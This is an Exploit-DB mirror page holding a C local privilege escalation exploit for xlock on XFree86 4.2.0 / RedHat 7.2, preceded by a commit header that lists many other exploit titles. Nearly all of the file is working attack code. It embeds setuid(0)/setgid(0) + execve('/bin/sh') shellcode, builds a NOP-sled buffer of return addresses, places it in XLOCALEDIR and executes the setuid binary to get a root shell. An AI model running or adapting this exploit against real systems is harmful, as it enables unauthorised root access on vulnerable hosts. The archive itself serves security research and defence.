exploit-db-mirror/exploits/linux/local/22322.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

115 lines
No EOL
4.2 KiB
C

// source: https://www.securityfocus.com/bid/7002/info
Several XFree86 utilities may be prone to a buffer overflow condition. The vulnerability exists due to insufficient boundary checks performed by these utilities when referencing the XLOCALEDIR environment variable.
A local attacker can exploit this vulnerability by setting the XLOCALEDIR environment variable to an overly long value. When the vulnerable utilities are executed, the buffer overflow vulnerability will be triggered.
/* xlock local root exploit for XFree 4.2.0, RedHat 7.2,
* maybe others, based on overflowing XLOCALEDIR,
* by omega of the S.T.A.R. team.
* This is a re-make of the original work for Slackware 8.1
* by dcryptr && tarranta / oC.
*/
/* Greetz go to: dcryptr && tarranta, dethy -at- synnergy.net,
* mirapoint, ^sq, irian, Fooy :-).
*/
/* Oh, and yes, xlock probably isn't +s on your system, so this
* is mostly a teaching material ;-)
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define OFFSET 0 /* varies, use 0 as default */
#define nop 0x90 /* NOP on x86 is 0x90 */
#define BSIZE 5100 /* size of our buffer */
/* thanks to dcryptr && tarranta, for noting that
the first setuid(0) gets ignored for some mysterious
reason and also for providing this shellcode. */
static char shellcode[] =
/* setuid(0); - ignored. */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x17" /* mov $0x17,%al */
"\xcd\x80" /* int $0x80 */
/* setuid(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x17" /* mov $0x17,%al */
"\xcd\x80" /* int $0x80 */
/* setgid(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x2e" /* mov $0x2e,%al */
"\xcd\x80" /* int $0x80 */
/* /bin/sh execve(); */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80" /* int $0x80 */
/* exit(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x01" /* mov $0x01,%al */
"\xcd\x80";/* int $0x80 */
/* thanks to dethy for his tutorial on overflows
* - this is essentially based on that.
*/
int main(int argc, char **argv) {
char *buffer, *ptr;
int *address_ptr, *address;
int i, offset = OFFSET, bsize = BSIZE;
/* you can use this offset to search for a better place to jump to. */
if(argc > 1) offset = atoi(argv[1]);
else offset = 0;
fprintf(stderr, "Offset: %d\n", offset);
/* create space for our buffer */
buffer = malloc(bsize);
/* use the force, read the source :-), determine %esp for xlock. */
(char *)address = (0xbffff010 + sizeof(int) * offset);
fprintf(stderr, "Return address: %#x\n" ,address);
ptr = buffer;
address_ptr = (int *)ptr;
/* fill buffer with the in-buffer address to jump to. */
for(i = 0; i < bsize; i += 4) (int *)*(address_ptr++) = address;
/* now we fill the first third - this can be adjusted - of the buffer with nop's,
remembering to leave space for the remaining shellcode to be added. */
for(i = 0; i < bsize / 3; i++) buffer[i] = nop;
/* fill the buffer with the shellcode centered around the border between the
first and second third of the buffer. */
ptr = buffer + ((bsize / 3) - (strlen(shellcode) / 2));
for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
/* don't forget to end with the dreaded null byte or the processor won't determine
the end of our code. */
buffer[bsize - 1] = '\0';
/* in this case our bof is a user specified environment variable of fixed length,
so we set our buffer "$XLOCALEDIR" and that should overflow the programs buffer */
setenv("XLOCALEDIR", buffer, 1);
/* xlock uses the above variable for it's environment, so we'll try to exploit it. */
execl("/usr/X11R6/bin/xlock", "/usr/X11R6/bin/xlock", 0);
}